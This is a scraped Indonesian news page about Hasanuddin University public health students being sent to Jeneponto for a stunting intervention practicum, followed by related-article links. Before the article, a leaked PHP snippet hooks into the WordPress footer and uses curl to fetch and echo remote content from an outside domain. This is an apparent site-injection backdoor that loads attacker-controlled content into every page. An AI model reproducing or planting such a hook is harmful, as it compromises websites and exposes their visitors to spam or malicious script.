function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');FKM Unhas Lepas Mahasiswa PBL II: Fokus Intervensi Stunting di Jeneponto - Suluh Nusantara

Home / Uncategorized

Selasa, 21 Januari 2025 - 21:46 WIB

FKM Unhas Lepas Mahasiswa PBL II: Fokus Intervensi Stunting di Jeneponto

Fakultas Kesehatan Masyarakat (FKM) Universitas Hasanuddin (Unhas) menggelar acara pelepasan mahasiswa untuk Praktik Belajar Lapangan (PBL) II yang dilaksanakan di Kabupaten Jeneponto. Acara pelepasan ini berlangsung di Lapangan FKM Unhas pada pukul 07.30 WITA dan dihadiri oleh Wakil Dekan  bidang Akademik dan Kemahasiswaan, Dr. Wahiduddin, SKM, M.Kes mewakili pimpinan fakultas, dosen supervisor, serta mahasiswa peserta PBL II. PBL II ini merupakan kelanjutan dari kegiatan PBL I yang telah dilaksanakan 6 bulan sebelumnya.

Dalam PBL II, mahasiswa FKM Unhas akan terjun langsung ke lapangan untuk melakukan intervensi terhadap masalah yang telah diidentifikasi sebelumnya dalam PBL I. Tema yang diangkat pada PBL kali ini adalah “Stunting”, yang merupakan salah satu isu nasional mengenai masalah kesehatan masyarakat. Fokus utama dari kegiatan ini adalah untuk membantu memberikan intervensi dan strategi dalam menangani isu stunting di Kab. Jeneponto.

Baca Juga  Prof. Marc Bruijnzeels Tekankan Pendekatan Population Health Management sebagai Solusi Tantangan Sistem Kesehatan

Pelepasan mahasiswa ini menjadi momen penting bagi para mahasiswa untuk memulai kegiatan praktik lapangan yang akan mendalami masalah kesehatan masyarakat secara langsung. Melalui PBL II, mahasiswa tidak hanya mendapatkan pengalaman dalam melakukan intervensi kesehatan, tetapi juga memperdalam pemahaman mereka mengenai tantangan-tantangan yang dihadapi oleh masyarakat dalam upaya meningkatkan kualitas hidup.

Wakil Dekan I berharap bahwa kegiatan PBL II ini dapat memberikan kontribusi nyata dalam mengatasi masalah stunting di Jeneponto serta memperkaya pengalaman belajar mahasiswa. Kegiatan ini juga diharapkan dapat memperkuat hubungan antara masyarakat, sehingga tercipta kolaborasi yang efektif dalam meningkatkan kesejahteraan masyarakat di wilayah tersebut.

Baca Juga  Mahasiswa FKM Unhas Dukung SDGs Lewat Program BERSIH di Dusun Ballapati: Belajar Recycling Sampah Anorganik untuk Hidup Sehat

Dekan FKM Unhas, Prof. Sukri Palutturi, SKM, M.Kes. M.Sc.PH. Ph.D, ditemui dalam kesempatan berbeda berharap mahasiswa FKM Unhas yang menjalani praktik belajar lapangan dalam intervensi stunting dapat mengaplikasikan teori yang telah dipelajari ke dalam praktik nyata, meningkatkan keterampilan profesional, dan memperoleh pemahaman mendalam tentang stunting. Selain itu diharapkan mereka dapat memberikan dampak positif bagi masyarakat dan meningkatkan kesadaran serta empati terhadap kondisi kesehatan masyarakat, memperkuat komitmen mereka sebagai calon profesional kesehatan yang berdedikasi dalam mengatasi masalah stunting.

Share :

Baca Juga

Uncategorized

Refleksi Masa Depan Remaja: Mahasiswa Posko 4 PBL 2 FKM Unhas Melaksanakan Bedah Film Terkait Dampak Pernikahan Dini di SMP 1 dan SMP 8 Bangkala Barat

Uncategorized

Posko 16 PBL 2 FKM Unhas Melaksanakan Seminar Awal PBL 2: Pemaparan Terkait Program Intervensi Kesehatan di Desa Kalimporo

Uncategorized

Penyuluhan bahaya asap rokok oleh Mahasiswa PBL 2 FKM Unhas

Uncategorized

Generasi Cerdas, Masa Depan Berkualitas: Siswa SMAS Babussalam DDI Kassi Dibekali Pemahaman Terkait Pernikahan Dini

Uncategorized

Wasting dan Stunting: Dua Wajah Malnutrisi dalam Satu Panggung Nasional

Uncategorized

Mahasiswa PBL I Posko Congko Menghadiri Rembuk Stunting Sebagai Bentuk Dukungan Terhadap Komitmen Desa Congko Dalam Pencegahan dan Penanganan Stunting

Uncategorized

Mahasiswa PBL II Posko 15 FKM UNHAS Sukses Gelar Penyuluhan dan Live Cooking MP-ASI “SUJATECI” untuk Edukasi Ibu-Ibu di Desa Jenetallasa, Jeneponto

Uncategorized

Waspada TBC! Mahasiswa KKN Unhas Sosialisasi Pentingnya Deteksi Dini di Desa Bungeng